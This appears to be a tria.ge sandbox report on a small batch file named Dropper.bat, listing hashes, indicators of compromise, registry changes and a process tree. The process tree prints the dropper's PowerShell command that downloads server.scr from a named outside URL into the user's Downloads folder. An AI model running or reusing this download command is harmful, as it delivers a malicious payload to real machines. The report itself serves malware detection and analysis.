Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
947s -
max time network
1691s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
03/10/2024, 18:00
Static task
static1
Behavioral task
behavioral1
Sample
Dropper.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Dropper.bat
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
Dropper.bat
Resource
ubuntu2204-amd64-20240522.1-en
General
-
Target
Dropper.bat
-
Size
470B
-
MD5
8073ff57f855d5cd51346f011933d9fb
-
SHA1
d24fc282fb660945b87e1c41860a031f6e7ec9f6
-
SHA256
6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
-
SHA512
9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610
Malware Config
Extracted
https://master-repogen.vercel.app/file/server.scr
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 37 1232 powershell.exe 38 1232 powershell.exe -
pid Process 2372 powershell.exe 1232 powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "2" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_Classes\Local Settings chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f44471a0359723fa74489c55595fe6b30ee0000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Mode = "1" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4c003100000000002359342e100041646d696e00380008000400efbe2359ab292359342e2a00000030000000000004000000000000000000000000000000410064006d0069006e00000014000000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 = 52003100000000002359ab29122041707044617461003c0008000400efbe2359ab292359ab292a000000ed0100000000020000000000000000000000000000004100700070004400610074006100000016000000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 = 4a0031000000000043591590102054656d700000360008000400efbe2359ab29435915902a00000001020000000002000000000000000000000000000000540065006d007000000014000000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByDirection = "1" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = 00000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\NodeSlot = "1" chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic" chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\MRUListEx = ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\MRUListEx = 00000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1092616193" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3} chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 = 4c003100000000002359e72a10204c6f63616c00380008000400efbe2359ab292359e72a2a000000000200000000020000000000000000000000000000004c006f00630061006c00000014000000 chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupView = "0" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\GroupByKey:PID = "0" chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\MRUListEx = 00000000ffffffff chrome.exe Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\LogicalViewMode = "3" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\IconSize = "48" chrome.exe Set value (int) \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" chrome.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2372 powershell.exe 2732 chrome.exe 2732 chrome.exe 1232 powershell.exe 2732 chrome.exe 2732 chrome.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2300 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2372 powershell.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe Token: SeShutdownPrivilege 2732 chrome.exe -
Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe -
Suspicious use of SendNotifyMessage 32 IoCs
pid Process 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe 2732 chrome.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2300 chrome.exe 2300 chrome.exe 2300 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2628 wrote to memory of 2372 2628 cmd.exe 31 PID 2628 wrote to memory of 2372 2628 cmd.exe 31 PID 2628 wrote to memory of 2372 2628 cmd.exe 31 PID 2732 wrote to memory of 2860 2732 chrome.exe 33 PID 2732 wrote to memory of 2860 2732 chrome.exe 33 PID 2732 wrote to memory of 2860 2732 chrome.exe 33 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 1752 2732 chrome.exe 35 PID 2732 wrote to memory of 2348 2732 chrome.exe 36 PID 2732 wrote to memory of 2348 2732 chrome.exe 36 PID 2732 wrote to memory of 2348 2732 chrome.exe 36 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37 PID 2732 wrote to memory of 1932 2732 chrome.exe 37
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7f39758,0x7fef7f39768,0x7fef7f397782⤵PID:2860
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1156 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:22⤵PID:1752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:82⤵PID:2348
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1604 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:82⤵PID:1932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2156 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:12⤵PID:1040
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2164 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:12⤵PID:1296
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1412 --field-trial-handle=1372,i,5520757083029877440,13429541166229084666,131072 /prefetch:22⤵PID:1632
-
-
